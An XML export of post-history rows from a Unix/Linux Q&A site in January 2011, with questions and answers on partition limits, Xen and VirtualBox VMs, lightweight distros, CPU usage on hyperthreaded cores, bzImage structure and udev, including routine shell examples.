  <row Id="12911" PostHistoryTypeId="2" PostId="5728" RevisionGUID="832d7faa-a00e-4be0-a7a6-84657ac9966a" CreationDate="2011-01-12T13:19:59.323" UserId="1974" Text="Turned out this was a numbskull error, looks like my copy of `badblocks` may have just had a bug.&#xD;&#xA;&#xD;&#xA;I ran `yum update` and after that, `badblocks` no longer segfaults." />
  <row Id="12912" PostHistoryTypeId="25" PostId="5724" RevisionGUID="3463237f-9e2f-4a1d-afb1-44e2e8e9dbbe" CreationDate="2011-01-12T13:55:29.840" Comment="http://twitter.com/#!/StackUnix/status/25189123807510528" />
  <row Id="12913" PostHistoryTypeId="2" PostId="5729" RevisionGUID="9b95cbc0-fa6e-409e-beb8-f88b535155a0" CreationDate="2011-01-12T14:02:24.700" UserId="2701" Text="You can leverage the proc file system to gather the information. For example:&#xD;&#xA;&#xD;&#xA;    for proc in $(grep -irl &quot;ssh.*-D&quot; /proc/*/cmdline | grep -v &quot;self&quot;); do if [ -f $proc ]; then cat $proc &amp;&amp; echo &quot;&quot;; fi; done&#xD;&#xA;&#xD;&#xA;It's not perfect, you'll want a more exclusive regex (especially if you are killing processes) but `echo $proc | awk -F'/' '{ print $3 }'` will show you the PID of the process(es)." />
  <row Id="12914" PostHistoryTypeId="2" PostId="5730" RevisionGUID="074f4fe9-3f3f-48b8-8dc2-63acc84ec29b" CreationDate="2011-01-12T14:05:45.087" UserId="2871" Text="I would like to know how many `Primary` and `Extended Partitions` can i create in a x86_64 PC with Linux running on it? " />
  <row Id="12915" PostHistoryTypeId="1" PostId="5730" RevisionGUID="074f4fe9-3f3f-48b8-8dc2-63acc84ec29b" CreationDate="2011-01-12T14:05:45.087" UserId="2871" Text="What's the limit on the no. of partitions I can have?" />
  <row Id="12916" PostHistoryTypeId="3" PostId="5730" RevisionGUID="074f4fe9-3f3f-48b8-8dc2-63acc84ec29b" CreationDate="2011-01-12T14:05:45.087" UserId="2871" Text="épartitionàéprimaryàéextendedà" />
  <row Id="12917" PostHistoryTypeId="2" PostId="5731" RevisionGUID="60f7f525-ffbf-4d54-beed-6def3bdcb6c7" CreationDate="2011-01-12T14:20:52.053" UserId="3432" Text="4 primary partitions or alternatively 3 primary partitions and an extended partition.&#xD;&#xA;&#xD;&#xA;the extended partition can be subdivided into multiple logical partitions" />
  <row Id="12918" PostHistoryTypeId="2" PostId="5732" RevisionGUID="3c9b0ebf-fbf1-4741-a395-d48cec5ed39e" CreationDate="2011-01-12T14:23:05.953" UserId="3466" Text="I'm trying to create a para-virt Fedora 14 xen vm on a host running CentOS 5.5. The VM appears to initially install correctly (the installer finds eth0 and can access the installation media). But when I restart the VM after the installation is completed the VM no longer sees any network, only lo. The VM does have one network connection according to virt-manager. &#xD;&#xA;&#xD;&#xA;The host is running CentOS 5.5 64bit - completely up-to-date&#xD;&#xA;The VM I am tring to install is F14 64bit (installing only the minimal group)&#xD;&#xA;&#xD;&#xA;I'm using a local copy of the F14 installation media served up at http://dom0/fedora14. Previously when I installed VMs I used one of the installation images available on the web. Could this be the problem?&#xD;&#xA;" />
  <row Id="12919" PostHistoryTypeId="1" PostId="5732" RevisionGUID="3c9b0ebf-fbf1-4741-a395-d48cec5ed39e" CreationDate="2011-01-12T14:23:05.953" UserId="3466" Text="fedora 14 xen virtual machine does not detect network" />
  <row Id="12920" PostHistoryTypeId="3" PostId="5732" RevisionGUID="3c9b0ebf-fbf1-4741-a395-d48cec5ed39e" CreationDate="2011-01-12T14:23:05.953" UserId="3466" Text="éfedoraàécentosàéxenà" />
  <row Id="12921" PostHistoryTypeId="5" PostId="5730" RevisionGUID="86d12f09-20ee-493a-9bbb-04c2d50d300f" CreationDate="2011-01-12T14:25:21.133" UserId="2871" Comment="added 95 characters in body; added 2 characters in body; added 3 characters in body" Text="I would like to know how many `Primary` and `Extended Partitions` can i create in a x86_64 PC with Linux running on it? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;**Update**  :  &#xD;&#xA;If there is limit to the number of partitions, then why is it so?" />
  <row Id="12922" PostHistoryTypeId="2" PostId="5733" RevisionGUID="8cdae18c-0d08-4633-9a43-faa0542c75df" CreationDate="2011-01-12T14:41:10.020" UserId="3496" Text="Ubuntu was too slow on my computer and Arch installation had many problems too. Which distro do you recommend to me that's lightweight as well as easy to install?" />
  <row Id="12923" PostHistoryTypeId="1" PostId="5733" RevisionGUID="8cdae18c-0d08-4633-9a43-faa0542c75df" CreationDate="2011-01-12T14:41:10.020" UserId="3496" Text="Distro- lightweight and easy to install" />
  <row Id="12924" PostHistoryTypeId="3" PostId="5733" RevisionGUID="8cdae18c-0d08-4633-9a43-faa0542c75df" CreationDate="2011-01-12T14:41:10.020" UserId="3496" Text="édistrosàédistributionöchoiceà" />
  <row Id="12925" PostHistoryTypeId="2" PostId="5734" RevisionGUID="374d63fe-e5f7-486c-801c-a542b45b1614" CreationDate="2011-01-12T14:51:14.467" UserId="2594" Text="The limitation is due to the original BIOS design. At that time, people weren't thinking more than four different OSes would be installed on a single disk. There was also a misunderstanding of the standard by Windows, Linux and other OSes which erroneously map file systems with (primary) partitions instead of subdividing their own partition in slices like BSD and Solaris. &#xD;&#xA;&#xD;&#xA;In any case, this is becoming history with EFI/GPT. Recent Linuxes support GPT with which you can have 128 partitions by default. To fully use large disks (2TB and more) you'll need GPT anyway." />
  <row Id="12926" PostHistoryTypeId="2" PostId="5735" RevisionGUID="733435f7-c327-43b2-9122-a78c700ab107" CreationDate="2011-01-12T15:28:30.323" UserId="3482" Text="There are many but this is the one that immediately comes to my mind: [Damn Small Linux][1]&#xD;&#xA;&#xD;&#xA;EDIT: I also found this article about light weight distros: [What's the best lightweight Linux distro?][2]&#xD;&#xA;&#xD;&#xA;Also you can try switching to Xfce instead of GNOME as your desktop environment. Xfce is lot lighter than GNOME/KDE.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.damnsmalllinux.org/&#xD;&#xA;  [2]: http://www.tuxradar.com/content/whats-best-lightweight-linux-distro" />
  <row Id="12927" PostHistoryTypeId="5" PostId="5734" RevisionGUID="98284bed-0f30-46fc-9b06-6d4562ea2d58" CreationDate="2011-01-12T15:35:26.750" UserId="2594" Comment="added 537 characters in body; deleted 4 characters in body" Text="The limitation is due to the original BIOS design. At that time, people weren't thinking more than four different OSes would be installed on a single disk. There was also a misunderstanding of the standard by OS implementors, notably Microsoft and Linux which erroneously map file systems with (primary) partitions instead of subdividing their own partition in slices like BSD and Solaris which was the original intended goal.&#xD;&#xA;&#xD;&#xA;The maximum number of logical partitions is unlimited by the standard but the number of reachable ones depends on the OS. Windows is limited by the number of letters in the alphabet, Linux used to have 63 slots with the IDE driver (hda1 to hda63) but modern releases standardize on the sd drivers which supports by default 15 slots (sda1 to sda15). By some tuning, this limit can be overcome but might confuse tools (see  http://www.justlinux.com/forum/showthread.php?t=152404 )&#xD;&#xA;&#xD;&#xA;In any case, this is becoming history with EFI/GPT. Recent Linuxes support GPT with which you can have 128 partitions by default. To fully use large disks (2TB and more) you'll need GPT anyway." />
  <row Id="12928" PostHistoryTypeId="2" PostId="5736" RevisionGUID="e7a735c5-2342-46d1-9a30-8305bf129aa7" CreationDate="2011-01-12T15:39:29.097" UserId="3447" Text="The Damn Small Linux project is dead.  The lead developer moved on to [Tiny Core Linux](http://www.tinycorelinux.com/)&#xD;&#xA;&#xD;&#xA;Although the sub 30mb distros are probably too light weight for most purposes.  Something a little bit bigger might work as well.  &#xD;&#xA;[Puppy Linux](http://puppylinux.org/)  &#xD;&#xA;[Crunchbang Linux](http://crunchbanglinux.org/)" />
  <row Id="12929" PostHistoryTypeId="2" PostId="5737" RevisionGUID="9309365a-8e09-4e25-9da1-f63ee79b122f" CreationDate="2011-01-12T15:57:21.187" UserId="3496" Text="How do I setup an ADSL connection on Arch Linux? Do I need to separately install hardware(router, NIC )? " />
  <row Id="12930" PostHistoryTypeId="1" PostId="5737" RevisionGUID="9309365a-8e09-4e25-9da1-f63ee79b122f" CreationDate="2011-01-12T15:57:21.187" UserId="3496" Text="ADSL connection on Arch" />
  <row Id="12931" PostHistoryTypeId="3" PostId="5737" RevisionGUID="9309365a-8e09-4e25-9da1-f63ee79b122f" CreationDate="2011-01-12T15:57:21.187" UserId="3496" Text="éarchölinuxàéinternetà" />
  <row Id="12932" PostHistoryTypeId="5" PostId="5708" RevisionGUID="ec51f36c-f26b-42ea-8c2f-e31d3c220089" CreationDate="2011-01-12T16:02:12.863" UserId="73" Comment="deleted 28 characters in body" Text="In 3.3.5:&#xD;&#xA;&#xD;&#xA;1. Click Settings menu.&#xD;&#xA;2. Click &quot;Configure - Kate&quot;&#xD;&#xA;3. Expand &quot;Editor Component&quot;&#xD;&#xA;4. Click &quot;Editing&quot;&#xD;&#xA;5. Click on &quot;Indentation&quot; tab on the right&#xD;&#xA;6. Change your Indentation width.&#xD;&#xA;" />
  <row Id="12933" PostHistoryTypeId="2" PostId="5738" RevisionGUID="4c2a4540-34fe-47fa-8413-dc3131d60f9c" CreationDate="2011-01-12T16:09:54.483" UserId="3609" Text="There are cases when the replacement of (include/linux/fs.h) struct file_operations method ioctl() to compat_ioctl() in kernel 2.6.36 does not work (e.g. for some device drivers) and unlocked_ioctl() must be used." />
  <row Id="12935" PostHistoryTypeId="5" PostId="5737" RevisionGUID="ef468acb-91fb-42c1-97eb-edbc1b58867c" CreationDate="2011-01-12T16:17:51.207" UserId="73" Comment="added 145 characters in body; edited tags; edited title" Text="I'm trying to setup an ADSL connection on an Arch Linux machine. I read the Arch wiki article on [Internet Access](https://wiki.archlinux.org/index.php/Internet_Access), but I'm still confused -- how do I add my network card to the `modprobe` file?&#xD;&#xA;" />
  <row Id="12936" PostHistoryTypeId="4" PostId="5737" RevisionGUID="ef468acb-91fb-42c1-97eb-edbc1b58867c" CreationDate="2011-01-12T16:17:51.207" UserId="73" Comment="added 145 characters in body; edited tags; edited title" Text="Adding a network card to the modprobe file" />
  <row Id="12937" PostHistoryTypeId="6" PostId="5737" RevisionGUID="ef468acb-91fb-42c1-97eb-edbc1b58867c" CreationDate="2011-01-12T16:17:51.207" UserId="73" Comment="added 145 characters in body; edited tags; edited title" Text="éarchölinuxàéinternetàémodprobeà" />
  <row Id="12938" PostHistoryTypeId="2" PostId="5740" RevisionGUID="1d6a75df-4c20-40a5-a7fa-f8c04677e287" CreationDate="2011-01-12T16:25:16.313" UserId="688" Text="How can one take a VM and make it run on the machine?" />
  <row Id="12939" PostHistoryTypeId="1" PostId="5740" RevisionGUID="1d6a75df-4c20-40a5-a7fa-f8c04677e287" CreationDate="2011-01-12T16:25:16.313" UserId="688" Text="Is it 'possible' to transfer a VM to the metal?" />
  <row Id="12940" PostHistoryTypeId="3" PostId="5740" RevisionGUID="1d6a75df-4c20-40a5-a7fa-f8c04677e287" CreationDate="2011-01-12T16:25:16.313" UserId="688" Text="évmà" />
  <row Id="12942" PostHistoryTypeId="2" PostId="5741" RevisionGUID="f0d41394-1353-4cd3-9b11-518dc698a829" CreationDate="2011-01-12T16:36:47.953" UserId="688" Text="I have only ever used VirtualBox and I would like to know, for example, what could I be missing from other offerings. I have heard of KVM and VMWare and I'm sure there's others. Short of reading Wikipedia articles on each (phew!), how do they differ?" />
  <row Id="12943" PostHistoryTypeId="1" PostId="5741" RevisionGUID="f0d41394-1353-4cd3-9b11-518dc698a829" CreationDate="2011-01-12T16:36:47.953" UserId="688" Text="What are the differences between various VM software?" />
  <row Id="12944" PostHistoryTypeId="3" PostId="5741" RevisionGUID="f0d41394-1353-4cd3-9b11-518dc698a829" CreationDate="2011-01-12T16:36:47.953" UserId="688" Text="évmà" />
  <row Id="12945" PostHistoryTypeId="5" PostId="5644" RevisionGUID="de6f97ee-4dce-415c-9d35-79438b2acace" CreationDate="2011-01-12T16:39:41.963" UserId="1924" Comment="added 20 characters in body" Text="in my WinFF (I run it by click) on linux ubuntu 10.04 when I convert files (every format into any using standard procedure) I don't get output. I mean clear bash console shows up and then I see just my shell con. I probably misconfigured (in past it was working) it but I ain't sure.I reinstalled everything but problem continues. Could you help me ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    echo -n &quot;\033]0; Converting _quot;LIKE A G6_quot; (OFFICIAL) FAR EAST MOVEMENT (FM) feat (1/1)\007&quot;&#xD;&#xA;    /usr/bin/ffmpeg -i &quot;/home/oneat/dwhelper/_quot;LIKE A G6_quot; (OFFICIAL) FAR EAST MOVEMENT (FM) feat.flv&quot; -acodec libmp3lame -vcodec msmpeg4 -ab 192kb -b 1000kb -s 640x480 -ar 44100 &quot;/home/oneat/_quot;LIKE A G6_quot; (OFFICIAL) FAR EAST MOVEMENT (FM) feat.avi&quot;&#xD;&#xA;    read -p &quot;Press Enter to Continue&quot; dumbyvar&#xD;&#xA;    rm &quot;/home/oneat/.winff/ff110111193250.sh&quot;&#xD;&#xA;&#xD;&#xA;But it's not concerned with these commands. Just output is not printed to console. Typing this code to console works fine.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12946" PostHistoryTypeId="2" PostId="5742" RevisionGUID="7198ce32-543c-47f0-8095-4918da50ffb6" CreationDate="2011-01-12T16:54:45.880" UserId="234" Text="You can use the fairly idiomatic&#xD;&#xA;&#xD;&#xA;    texcount foo.tex | tee /dev/tty | sed s/$/'\\\\'/ &gt; wc.tex&#xD;&#xA;&#xD;&#xA;&lt;code&gt;/dev/tty&lt;/code&gt; is a magic device that refers to the controlling terminal of the current process.&#xD;&#xA;" />
  <row Id="12947" PostHistoryTypeId="25" PostId="5730" RevisionGUID="9b501bcd-dd4a-4815-ba7c-e730b9b4cb84" CreationDate="2011-01-12T16:55:30.910" Comment="http://twitter.com/#!/StackUnix/status/25234427214827522" />
  <row Id="12948" PostHistoryTypeId="2" PostId="5743" RevisionGUID="426d5c42-9273-46ee-b3af-77b5ed70afa6" CreationDate="2011-01-12T17:01:14.537" UserId="3389" Text="Install a second Linux system on your network with a good amount of RAM, NFS mount it to your main system, and put the swap file on that." />
  <row Id="12949" PostHistoryTypeId="2" PostId="5744" RevisionGUID="cd93f450-7a9b-4314-a60f-016eda339c11" CreationDate="2011-01-12T19:31:31.323" UserId="3069" Text="Till Linux 2.6.22, `bzImage` contained:&#xD;&#xA;&#xD;&#xA; - bbootsect ([`bootsect.o`][1]): &#xD;&#xA; - bsetup ([`setup.o`][2])&#xD;&#xA; - bvmlinux ([`head.o`][3], [`misc.o`][4], `piggy.o`)&#xD;&#xA;&#xD;&#xA;Linux 2.6.23 merged bbootsect and bsetup into one ([`header.o`][5]).&#xD;&#xA;&#xD;&#xA;At boot up, the kernel needs to initialize some sequences (see the header file above) which are only necessary to bring the system into a desired, usable state. At runtime, those sequences are not important anymore (so why include them into the running kernel?).&#xD;&#xA;&#xD;&#xA;`System.map` gets consulted by `vmlinux` which gets extracted out of `bzImage` (at boot time). This extraction is just a mid-step, `vmlinux` does the important work (=&gt; `bzImage` doesn't really care about `System.map`).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lxr.linux.no/#linux+v2.6.22.19/arch/i386/boot/bootsect.S&#xD;&#xA;  [2]: http://lxr.linux.no/#linux+v2.6.22.19/arch/i386/boot/setup.S&#xD;&#xA;  [3]: http://lxr.linux.no/#linux+v2.6.22.19/arch/i386/boot/compressed/head.S&#xD;&#xA;  [4]: http://lxr.linux.no/#linux+v2.6.22.19/arch/i386/boot/compressed/misc.c&#xD;&#xA;  [5]: http://lxr.linux.no/#linux+v2.6.37/arch/x86/boot/header.S" />
  <row Id="12950" PostHistoryTypeId="2" PostId="5745" RevisionGUID="bcdf09b8-70a7-4723-9800-acc06fb397d4" CreationDate="2011-01-12T19:53:31.073" UserId="3447" Text="It depends on what you use for virtualization.  Qemu allows you to install the OS to a partition on your hard disk and you can either boot into it or load it up in Qemu.&#xD;&#xA;&#xD;&#xA;If your VM is installed to a file on your filesystem like VirtualBox does, it may be possible to convert it to a disk image that you can install to a hard disk but it's more effort on you part than what Qemu can do for you.  With VirtualBox there isn't any easy way to synchronize the disk partition and the VDE file so you can swap back and forth between them." />
  <row Id="12951" PostHistoryTypeId="25" PostId="5642" RevisionGUID="5b4f292f-e61b-466a-b715-f0987ec05fb0" CreationDate="2011-01-12T19:55:30.663" Comment="http://twitter.com/#!/StackUnix/status/25279724053860352" />
  <row Id="12952" PostHistoryTypeId="2" PostId="5746" RevisionGUID="59cc1e28-22cd-4d9c-aef4-b2cab8770fc2" CreationDate="2011-01-12T19:59:49.643" UserId="3613" Text="VirtualBox is a software application that runs on top of your OS. It can use capabilities of your OS and hardware to accelerate the virtualization.  The VirtualBox software must remain running for the virtualized systems to remain operational.&#xD;&#xA;&#xD;&#xA;Xen is a subclass of operating systems called a hypervisor, it is an OS which only provides virtualization. It offloads management capabilities to a separate management OS which it calls the &quot;dom0&quot;, usually Linux.  The management OS provides drivers for the physical hardware.&#xD;&#xA;&#xD;&#xA;VMWare has several products. VMWare Workstation works like VirtualBox, while VMWare ESX is a hypervisor similar to Xen.  A major difference to Xen is that ESX provides its own hardware drivers and as a result has limited hardware support.&#xD;&#xA;&#xD;&#xA;KVM is a project which adds a hypervisor into the Linux kernel.  Because KVM uses a hypervisor, it does not need to remain running in the same fashion as VirtualBox. While KVM is a hypervisor such as Xen and ESX, it is simultaneously a Linux kernel &amp; OS of its own accord.&#xD;&#xA;&#xD;&#xA;It should be noted that KVM's inclusion into Linux is often misunderstood as being generally accepted as being the &quot;blessed way forward&quot;. The KVM project is officially supported in Linux as it is a Linux kernel modification, while Xen and ESX are entirely separate operating systems." />
  <row Id="12953" PostHistoryTypeId="2" PostId="5747" RevisionGUID="fbe5e9b2-1a1a-4316-952b-dc4442741c25" CreationDate="2011-01-12T20:26:53.430" UserId="305" Text="I understend that `Σ(%CPU) ≤ cores*(1+ε)` (where ε is measure error) but how can I have on 2 core system 2 different processes each taking 200% of CPU (as measured by htop)?" />
  <row Id="12954" PostHistoryTypeId="1" PostId="5747" RevisionGUID="fbe5e9b2-1a1a-4316-952b-dc4442741c25" CreationDate="2011-01-12T20:26:53.430" UserId="305" Text="How can I have 400% CPU occupied on 2 cores" />
  <row Id="12955" PostHistoryTypeId="3" PostId="5747" RevisionGUID="fbe5e9b2-1a1a-4316-952b-dc4442741c25" CreationDate="2011-01-12T20:26:53.430" UserId="305" Text="élinuxàécpuà" />
  <row Id="12956" PostHistoryTypeId="2" PostId="5748" RevisionGUID="95c5b3ce-9374-4813-90d7-87c043520883" CreationDate="2011-01-12T20:28:47.127" UserId="1071" Text="&#xD;&#xA;Consider &lt;a href=&quot;http://lubuntu.net/&quot;&gt;Lubuntu&lt;/a&gt;, which aims to be the LXDE version of Ubuntu (though not get officially recognized by Canonical as an official offspin); much lighter weight than the standard one. (I also recommend Crunchbang, which has been covered already.)&#xD;&#xA;" />
  <row Id="12957" PostHistoryTypeId="2" PostId="5749" RevisionGUID="f58ff787-92e6-4052-ac17-fe02fc2dbd44" CreationDate="2011-01-12T20:37:23.187" UserId="885" Text="If you have an older computer, the important thing is not to use resource-hungry *applications* or *settings*. Gnome+compiz on Puppy Linux will be just as slow as on Ubuntu, if you manage to install it. Pick any distribution whose installer will run on your computer, and use a lightweight window manager. See for example [the lightest way to have a GUI in Linux?](http://unix.stackexchange.com/questions/1500/the-lightest-way-to-have-a-gui-in-linux), [How to get rid of desktop environment and use a window manager only?](http://unix.stackexchange.com/questions/3022/how-to-get-rid-of-desktop-environment-and-use-a-window-manager-only).&#xD;&#xA;" />
  <row Id="12958" PostHistoryTypeId="2" PostId="5750" RevisionGUID="397179a0-e902-4811-947a-31c64b3e3ea0" CreationDate="2011-01-12T20:40:15.697" UserId="885" Text="Do you have 2 processors or 4? If you have two cores with two CPUs each through [hyperthreading](http://en.wikipedia.org/wiki/Hyperthreading), that's a total of four processors (as far as the OS is concerned).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12959" PostHistoryTypeId="2" PostId="5751" RevisionGUID="7e87949b-ac53-4871-9f96-6efbd18695f7" CreationDate="2011-01-12T20:40:37.080" UserId="1375" Text="Have you looked at [SliTaz][1]? It is a very lightweight (~30MB) distribution with a very easy to use package manager, a new version is due out soon. The entire OS can be loaded into RAM which makes it extremely fast. Installation is very quick and simple, plus there's a very helpful forum. Here's the official feature list:&#xD;&#xA;&#xD;&#xA; - Root filesystem taking up about 100&#xD;&#xA;   MB and ISO image of less than 30 MB.&#xD;&#xA; - Ready to use Web server powered by&#xD;&#xA;   LightTPD with CGI and PHP support.&#xD;&#xA; - Browse the Web with Midori or Retawq&#xD;&#xA;   in text mode.&#xD;&#xA; - Sound support provided by Alsa mixer,&#xD;&#xA;   audio player and CD ripper/encoder.&#xD;&#xA; - Chat, mail and FTP clients.&#xD;&#xA; - SSH client and server powered by&#xD;&#xA;   Dropbear.&#xD;&#xA; - Database engine with SQLite.&#xD;&#xA; - Generate a LiveUSB device.&#xD;&#xA; - Tools to create, edit or burn CD or&#xD;&#xA;   DVD images.&#xD;&#xA; - Elegant desktop with Openbox running&#xD;&#xA;   on the top of Xorg/Xvesa (X server).&#xD;&#xA; - Homemade graphical boxes to command&#xD;&#xA;   line utilities.&#xD;&#xA; - 2300 packages easily installable from&#xD;&#xA;   the mirror.&#xD;&#xA; - Active and friendly community.&#xD;&#xA;&#xD;&#xA;I've used it myself and like it a lot.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.slitaz.org/" />
  <row Id="12960" PostHistoryTypeId="6" PostId="5741" RevisionGUID="fcb56258-1b30-46a9-a9e5-b7e45e43bd87" CreationDate="2011-01-12T20:40:54.417" UserId="885" Comment="edited tags" Text="évirtualömachineà" />
  <row Id="12961" PostHistoryTypeId="6" PostId="5740" RevisionGUID="80076945-84b3-43e6-8caa-01cde740b68d" CreationDate="2011-01-12T20:41:04.573" UserId="885" Comment="edited tags" Text="évirtualömachineà" />
  <row Id="12962" PostHistoryTypeId="2" PostId="5752" RevisionGUID="35ba8e02-e1c7-4c6f-843e-ad4ed809f632" CreationDate="2011-01-12T20:54:12.803" UserId="3613" Text="As others have implied, the storage mechanism matters most. Some virtualization products, especially desktop virtualization products, storage data in opaque formats. In that case, you'll need to extract the filesystems from the disk images. Each virtualization product will have a different and sometimes proprietary way of doing this.&#xD;&#xA;&#xD;&#xA;If you're building a virtualized datacenter, however, you can actually plan on making virtual machines that can be easily migrated to or from a virtualized environment.  In this case, you'll be best using a SAN, such as iSCSI, assigning raw block storage to your virtual machines.&#xD;&#xA;&#xD;&#xA;For example, I personally create iSCSI LUNs which appear as block devices under Linux. Then, I boot these machines with Xen. I can easily shut these machines down and then use gPXE to boot the machine directly from the iSCSI volume.  This is probably not what you're looking to do, but it is possible!&#xD;&#xA;&#xD;&#xA;Not important to forget, however, is that once your storage is accessible, the OS itself needs to be configured to find its devices. Using UUIDs in your /etc/fstab will help, for instance. If booting from a SAN, you will need a properly constructed initrd." />
  <row Id="12963" PostHistoryTypeId="2" PostId="5753" RevisionGUID="6233aec9-cbef-4c5d-a951-50b963b6bc30" CreationDate="2011-01-12T20:56:32.297" UserId="885" Text="I would classify virtual machine technologies into three categories (not all products fit clearly into one category):&#xD;&#xA;&#xD;&#xA;* [Full virtualization](http://en.wikipedia.org/wiki/Full_virtualization), i.e., complete hardware emulation. Examples: [Qemu](http://en.wikipedia.org/wiki/QEMU), [Dosbox](http://en.wikipedia.org/wiki/DOSBox). Pro: you can potentially emulate any architecture on any hardware. Con: it's the slowest way to do it.&#xD;&#xA;* [Hardware-assisted virtualization](http://en.wikipedia.org/wiki/Virtual_machine#System_virtual_machines), where you can emulate machine X on machine X. This can be a lot faster than full virtualization, because most instructions are executed natively, but you lose the ability to run a foreign architecture. There are two sub-categories:&#xD;&#xA;    * Hypervisor-based VMs: you run several OSes alongside each other. The bottom layer, called the hypervisor, is a special-purpose OS that runs the VMs and nothing else. Examples: [Xen](http://en.wikipedia.org/wiki/Xen), [VMware ESX](http://en.wikipedia.org/wiki/VMware_ESX).&#xD;&#xA;    * Hosted VMs: there is a main OS, the VM is an application on this main OS. Examples: [VirtualBox](http://en.wikipedia.org/wiki/VirtualBox), [KVM](http://en.wikipedia.org/wiki/Kernel-based_Virtual_Machine).&#xD;&#xA;* [OS-level virtualization](http://en.wikipedia.org/wiki/Operating_system-level_virtualization): you run several instances of the same OS. This can be in turn a lot more lightweight than hardware virutalization, but you lose some isolation and of course the ability to run different OSes. Examples: [OpenVZ](http://en.wikipedia.org/wiki/OpenVZ), [FreeBSD jails](http://en.wikipedia.org/wiki/FreeBSD_jail).&#xD;&#xA;&#xD;&#xA;First determine the category that corresponds to your needs.&#xD;&#xA;" />
  <row Id="12964" PostHistoryTypeId="2" PostId="5754" RevisionGUID="3d63541e-11bb-4e87-8936-63dccf628dd9" CreationDate="2011-01-12T20:58:03.190" UserId="3613" Text="Two dual-core processors contain 4 CPUs. Multi-threaded processors also exist. Each thread appears as a CPU to the OS, although they are not true CPUs as are cores.  Most usually multi-threaded CPUs have two threads per core, so you can have a single, dual-threaded, dual-core processor that appears to your OS at 4 CPUs.&#xD;&#xA;&#xD;&#xA;It should be noted that Sun Microsystems had a T2 chip which had 8 cores and 8 threads per core for 64 virtual CPUs on a single processor." />
  <row Id="12965" PostHistoryTypeId="2" PostId="5755" RevisionGUID="5659bfc2-6d06-41a9-b960-ddce7d562bbc" CreationDate="2011-01-12T21:01:28.207" UserId="885" Text="Generally, yes. If your VM is running off native disks or partitions, it may be as simple as pointing your bootloader to it. Otherwise, you'll need to copy the data. For some VM formats, there are tools to mount the VM disk on the host (e.g. [xmount](https://www.pinguin.lu/)). For other formats, the simplest way to get the data is to treat the VM as any old machine and boot a live CD in it.&#xD;&#xA;&#xD;&#xA;Then your OS must be able to boot on the metal. Unix installations are generally fairly hardware-independent (as long as you stay with the same processor type). You need to have the right drivers, to configure the bootloader and maybe `/etc/fstab` properly. See for example [Moving linux install to a new computer](http://unix.stackexchange.com/questions/2865/moving-linux-install-to-a-new-computer).&#xD;&#xA;" />
  <row Id="12966" PostHistoryTypeId="2" PostId="5756" RevisionGUID="f4b5d5f8-fc7f-4a4d-98d1-83b0372618b7" CreationDate="2011-01-12T21:13:39.037" UserId="3613" Text="Sen, in response to @jlliagre, it should be noted that some operating systems will create a single partition, but essentially create sub-partitions within that space.&#xD;&#xA;&#xD;&#xA;It is analogous, but not equal, to doing:&#xD;&#xA;&#xD;&#xA;     parted rm 1 /dev/sda&#xD;&#xA;     ...&#xD;&#xA;     parted rm 7 /dev/sda&#xD;&#xA;     parted mkpart primary $start $end /dev/sda&#xD;&#xA;     parted mkpart primary $start1 $end1 /dev/sda1&#xD;&#xA;&#xD;&#xA;You could then use kpartx to access these sub-partitions:&#xD;&#xA;&#xD;&#xA;     kpartx -a /dev/sda1&#xD;&#xA;&#xD;&#xA;The sub-partition(s) would appear as:&#xD;&#xA;&#xD;&#xA;     /dev/sda1p1&#xD;&#xA;&#xD;&#xA;Of course, this isn't how FreeBSD and similar systems do their slicing, exactly, but it is essentially the same thing." />
  <row Id="12967" PostHistoryTypeId="2" PostId="5757" RevisionGUID="2579f17d-5fa1-4d76-9ee3-be8536214a5b" CreationDate="2011-01-12T21:26:13.973" UserId="885" Text="To search for a literal string:&#xD;&#xA;&#xD;&#xA;    line='eval $(perl -I$HOME/foo/lib/perl5 -Mlocal::lib=$HOME/foo)'&#xD;&#xA;    file=~/.bashrc&#xD;&#xA;    if ! grep -q -x -F -e &quot;$line&quot; &lt;&quot;$file&quot;; then&#xD;&#xA;      printf '%s\n' &quot;$line&quot; &gt;&gt;&quot;$file&quot;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;`-q` suppresses `grep` output (you're only interested in the return status). `-x` requires the whole line to match. `-F` searches for a literal string rather than a regexp. `-e` is a precaution in case `$line` starts with a `-`.&#xD;&#xA;" />
  <row Id="12968" PostHistoryTypeId="6" PostId="5724" RevisionGUID="d993288a-e027-4bbc-98f1-9c1acaed9cfc" CreationDate="2011-01-12T21:26:37.357" UserId="885" Comment="edited tags" Text="éshellàétextöprocessingàégrepà" />
  <row Id="12969" PostHistoryTypeId="5" PostId="5747" RevisionGUID="70b58dcf-1981-4d8c-a1e6-510281be7505" CreationDate="2011-01-12T21:29:02.970" UserId="305" Comment="added 131 characters in body" Text="I understend that `Σ(%CPU) ≤ logicalcores*(1+ε)` (where ε is measure error) but how can I have on 2 core system 2 different processes each taking 200% of CPU (as measured by htop)?&#xD;&#xA;&#xD;&#xA;**EDIT** Cores in above equation means logical cores i.e. taking into account all hyperthreading,  number of CPUs etc.&#xD;&#xA;" />
  <row Id="12970" PostHistoryTypeId="2" PostId="5758" RevisionGUID="9692bd3b-4aa0-464c-b12e-2339849c226a" CreationDate="2011-01-12T21:45:24.783" UserId="3613" Text="This is handed by udev on modern Linux systems. The udev daemon started with the system will search in /etc/udev/rules.d and /lib/udev/rules.d and will run matching rules for kernel events.  Inserting a USB drive will trigger an event, udev will search for a matching rule and will execute it.&#xD;&#xA;&#xD;&#xA;The rules themselves will determine what your system does. In recent years, udev has communicated to HAL, which would alert applications via DBUS. This approach is now obsolete in favor of a unified udev solution, which I presume will involve udevd communicating via dbus directly, or via *dbus-send*.&#xD;&#xA;&#xD;&#xA;You can monitor the activities of udev via 'udevadm monitor'." />
